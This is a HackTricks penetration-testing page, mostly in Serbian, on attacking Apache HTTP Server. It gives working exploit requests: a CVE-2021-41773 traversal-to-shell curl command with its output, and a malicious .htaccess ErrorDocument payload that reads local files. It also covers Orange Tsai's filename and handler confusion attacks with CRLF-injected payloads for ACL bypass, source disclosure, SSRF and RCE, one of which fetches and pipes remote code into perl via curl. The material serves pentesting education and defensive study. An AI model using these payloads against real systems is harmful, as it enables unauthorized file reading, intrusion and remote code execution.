hacktricks/src/network-services-pentesting/pentesting-web/apache.md

Apache

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Izvršne PHP ekstenzije

Proverite koje ekstenzije izvršava Apache server. Da biste ih pronašli, možete izvršiti:

grep -R -B1 "httpd-php" /etc/apache2

Takođe, neka mesta na kojima možete pronaći ovu konfiguraciju su:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI putem .htaccess ErrorDocument file provider (ap_expr)

Ako možete kontrolisati .htaccess direktorijuma i AllowOverride uključuje FileInfo za taj put, možete pretvoriti 404 odgovore u proizvoljna čitanja lokalnih fajlova koristeći ap_expr file() funkciju unutar ErrorDocument.

• Zahtevi:
• Apache 2.4 sa omogućеним expression parserom (ap_expr) (podrazumevano u 2.4).
• vhost/dir mora dozvoliti .htaccess da postavi ErrorDocument (AllowOverride FileInfo).
• Korisnik koji pokreće Apache mora imati prava čitanja na ciljani fajl.

.htaccess payload:

# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

Aktivirajte to tako što ćete zatražiti bilo koju nepostojeću putanju ispod tog direktorijuma, na primer kada zloupotrebljavate userdir-style hosting:

curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Napomene i saveti:

• Only absolute paths work. The content is returned as the response body for the 404 handler.
• Efektivna prava za čitanje su prava Apache user-a (tipično www-data/apache). Nećete moći da pročitate /root/* ili /etc/shadow u podrazumevanim podešavanjima.
• Čak i ako je .htaccess u vlasništvu root-a, ako je roditeljski direktorijum u vlasništvu tenant-a i dozvoljava rename, možda ćete moći da preimenujete originalni .htaccess i otpremite sopstvenu zamenu putem SFTP/FTP:
• rename .htaccess .htaccess.bk
• put your malicious .htaccess
• Iskoristite ovo da pročitate izvor aplikacije ispod DocumentRoot ili vhost config putanja kako biste prikupili tajne (DB creds, API keys, itd.).

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

Path Truncation

It's possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• Mislead RewriteFlag Assignment

U sledećem rewrite pravilu, sve dok URL završava sa .php biće tretiran i izvršen kao php. Stoga je moguće poslati URL koji se završava sa .php nakon znaka ? dok u putanju učitavate drugačiji tip fajla (like an image) sa zlonamernim php kodom unutra:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Moguće je pristupiti fajlovima kojima korisnik ne bi trebalo da može pristupiti, čak i kada pristup treba biti onemogućen konfiguracijama poput:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

Ovo je zato što PHP-FPM po podrazumevanju prima URL-ove koji se završavaju na .php, kao http://server/admin.php%3Fooo.php, i zato što PHP-FPM uklanja sve što dolazi posle karaktera ?, pomenuti URL će omogućiti učitavanje /admin.php čak i ako je prethodno pravilo to zabranilo.

Zbunjenost oko DocumentRoot

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Zanimljivost vezana za Apache je da prethodni rewrite pokušava da pristupi fajlu i iz documentRoot i iz root. Dakle, zahtev za https://server/abouth.html će proveriti fajl u /var/www/html/about.html i /about.html u file system-u. Što u suštini može da se zloupotrebi za pristup fajlovima u file system-u.

Otkrivanje izvornog koda na serverskoj strani

• Otkrivanje izvornog koda CGI

Dovoljno je dodati %3F na kraj da bi se desio leak izvornog koda cgi modula:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• Otkrivanje PHP Source Code

Ako server ima više domena, pri čemu je jedan od njih statički domen, to se može zloupotrebiti da se pretraži fajl sistem i leak php code:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Local Gadgets Manipulation

Glavni problem prethodnog napada je što će, po podrazumevanoj konfiguraciji, većina pristupa fajl sistemu biti odbijena, kao u Apache HTTP Server’s configuration template:

<Directory />
AllowOverride None
Require all denied
</Directory>

Međutim, Debian/Ubuntu operativni sistemi podrazumevano dozvoljavaju /usr/share:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Therefore, it would be possible to abuse files located inside /usr/share in these distributions.

Lokalni gadget za Information Disclosure

• Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
• Servers with Nginx or Jetty might expose sensitive web application information (e.g., web.xml) through their default web roots placed under /usr/share:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

Lokalni gadget za XSS

• On Ubuntu Desktop with LibreOffice installed, exploiting the help files' language switch feature can lead to Cross-Site Scripting (XSS). Manipulating the URL at /usr/share/libreoffice/help/help.html can redirect to malicious pages or older versions through unsafe RewriteRule.

Lokalni gadget za LFI

• If PHP or certain front-end packages like JpGraph or jQuery-jFeed are installed, their files can be exploited to read sensitive files like /etc/passwd:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Lokalni gadget za SSRF

• Utilizing MagpieRSS's magpie_debug.php at /usr/share/php/magpierss/scripts/magpie_debug.php, an SSRF vulnerability can be easily created, providing a gateway to further exploits.

Lokalni gadget za RCE

• Opportunities for Remote Code Execution (RCE) are vast, with vulnerable installations like an outdated PHPUnit or phpLiteAdmin. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.

Jailbreak iz lokalnih gadgeta

It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Moreover, abusing symlinks it was possible to obtain RCE in Redmine.

Handler Confusion

This attack exploits the overlap in functionality between the AddHandler and AddType directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (r->handler and r->content_type respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting r->content_type into r->handler if the former is set and the latter is not.

Moreover, in the Apache HTTP Server (server/config.c#L420), if r->handler is empty before executing ap_run_handler(), the server uses r->content_type as the handler, effectively making AddType and AddHandler identical in effect.

Prepisivanje handler-a radi otkrivanja PHP izvornog koda

In this talk, was presented a vulnerability where an incorrect Content-Length sent by a client can cause Apache to mistakenly return the PHP source code. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting r->content_type to text/html.
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.

Overwrite Handler to XXXX

TODO: Orange hasn't disclose this vulnerability yet

Pozivanje proizvoljnih handler-a

If an attacker is able to control the Content-Type header in a server response he is going to be able to invoke arbitrary module handlers. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to restart the request process abusing the Location header because if the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed

According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Therefore, to perform this attack is needed one of the following vulns:

• CRLF Injection in the CGI response headers
• SSRF with complete control of the response headers

Proizvoljni handler za Information Disclosure

For example /server-status should only be accessible locally:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Moguće je pristupiti tome podešavanjem Content-Type na server-status i Location header-a koji počinje sa /.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

Preusmeravanje na mod_proxy da bi se pristupilo bilo kom protokolu na bilo kom URL-u:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Međutim, header X-Forwarded-For je dodat, što onemogućava pristup krajnjim tačkama metapodataka cloud-a.

Arbitrarni handler za pristup lokalnom Unix Domain Socket-u

Pristupite lokalnom Unix Domain Socket-u PHP-FPM-a da biste izvršili PHP backdoor koji se nalazi u /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

Zvanična PHP Docker slika uključuje PEAR (Pearcmd.php), alat za upravljanje PHP paketima iz komandne linije, koji se može zloupotrebiti da bi se dobio RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Pogledajte Docker PHP LFI Summary, koji je napisao Phith0n za detalje ove tehnike.

Izvori

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
• Apache 2.4 Custom Error Responses (ErrorDocument)
• Apache 2.4 Expressions and functions (file:)
• HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse

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